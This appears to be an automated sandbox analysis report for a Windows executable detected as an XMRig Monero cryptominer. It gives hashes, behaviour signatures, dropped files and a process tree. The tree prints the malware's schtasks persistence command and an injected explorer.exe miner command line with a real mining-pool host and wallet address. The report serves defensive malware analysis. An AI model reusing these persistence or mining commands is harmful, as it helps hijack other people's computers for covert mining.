Analysis

  • max time kernel
    140s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/02/2024, 06:02

General

  • Target

    8b9575721ec38e1efe7ba08e6c3ad3ac.exe

  • Size

    154KB

  • MD5

    8b9575721ec38e1efe7ba08e6c3ad3ac

  • SHA1

    84ad8392459548fdac3f44fa2fbe325e04a13167

  • SHA256

    d3c55b9ecac21aadef266218f83740d8d0a03c90e7b57b5a46d59482943f0249

  • SHA512

    45b24777f2e5db5a8124d2a22fca7c501e38b16bc27037661c6eaf1b7b44d83a2a985d3bb84759efb0c88498930f4145895d3d350da93877000e4f57a0a74bc1

  • SSDEEP

    1536:2PmsVErY/D3fcTw2zoE4vb4CorWPT/0S1p1Wm5:2egErmTcTtt4vbnor0N2m5

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 15 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8b9575721ec38e1efe7ba08e6c3ad3ac.exe
    "C:\Users\Admin\AppData\Local\Temp\8b9575721ec38e1efe7ba08e6c3ad3ac.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:4376
    • C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4076
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4768
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:1688
      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        3⤵
        • Executes dropped EXE
        PID:3564
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=465a1gQS7JuSbTWBZePvbJhDtzJpF8g6RRhSXiqdBJ6qfLjXxd3ea1PeaiCsr9Psz18ncqhRCGb2oXYdEU5N1ggRRycYJ52 --pass=Monero Miner --cpu-max-threads-hint=70 --cinit-idle-wait=5 --cinit-idle-cpu=80
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4032

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

    Filesize

    7KB

    MD5

    bcdeaa0d704dff82cdfe804fb5e49d19

    SHA1

    88805759cf7c7efb8b408dc32fbc48808708f11c

    SHA256

    50cf564c8620c6e94026245a1eb9ff7ec2da0fe33d19c2bf1ec423f2c17bbfe4

    SHA512

    f90f045e42cf21a831a2f6e1478afc83e6b959d9ecba8ac9bb9a9e1f9d1bbf5b63aa4a29f5a600530b677f2a9873371194bdf5a58925a86b4cda0362e3b98d20

  • C:\Users\Admin\AppData\Roaming\services64.exe

    Filesize

    154KB

    MD5

    8b9575721ec38e1efe7ba08e6c3ad3ac

    SHA1

    84ad8392459548fdac3f44fa2fbe325e04a13167

    SHA256

    d3c55b9ecac21aadef266218f83740d8d0a03c90e7b57b5a46d59482943f0249

    SHA512

    45b24777f2e5db5a8124d2a22fca7c501e38b16bc27037661c6eaf1b7b44d83a2a985d3bb84759efb0c88498930f4145895d3d350da93877000e4f57a0a74bc1

  • memory/1660-3-0x00000000033F0000-0x0000000003402000-memory.dmp

    Filesize

    72KB

  • memory/1660-0-0x0000000000890000-0x00000000008BA000-memory.dmp

    Filesize

    168KB

  • memory/1660-4-0x000000001C4C0000-0x000000001C4D0000-memory.dmp

    Filesize

    64KB

  • memory/1660-2-0x00000000012E0000-0x00000000012EE000-memory.dmp

    Filesize

    56KB

  • memory/1660-17-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

    Filesize

    10.8MB

  • memory/1660-1-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

    Filesize

    10.8MB

  • memory/3564-56-0x0000000002AC0000-0x0000000002AD0000-memory.dmp

    Filesize

    64KB

  • memory/3564-55-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

    Filesize

    10.8MB

  • memory/3564-34-0x00000000004D0000-0x00000000004D6000-memory.dmp

    Filesize

    24KB

  • memory/3564-35-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

    Filesize

    10.8MB

  • memory/3564-36-0x0000000002AC0000-0x0000000002AD0000-memory.dmp

    Filesize

    64KB

  • memory/4032-45-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-50-0x0000000000D30000-0x0000000000D50000-memory.dmp

    Filesize

    128KB

  • memory/4032-41-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-43-0x00000000009D0000-0x00000000009F0000-memory.dmp

    Filesize

    128KB

  • memory/4032-63-0x0000000002910000-0x0000000002930000-memory.dmp

    Filesize

    128KB

  • memory/4032-38-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-44-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-46-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-48-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-47-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-49-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-39-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-51-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-52-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-53-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-62-0x00000000028F0000-0x0000000002910000-memory.dmp

    Filesize

    128KB

  • memory/4032-61-0x0000000002910000-0x0000000002930000-memory.dmp

    Filesize

    128KB

  • memory/4032-57-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-58-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-59-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/4032-60-0x00000000028F0000-0x0000000002910000-memory.dmp

    Filesize

    128KB

  • memory/4076-18-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

    Filesize

    10.8MB

  • memory/4076-19-0x000000001BD40000-0x000000001BD50000-memory.dmp

    Filesize

    64KB

  • memory/4076-42-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

    Filesize

    10.8MB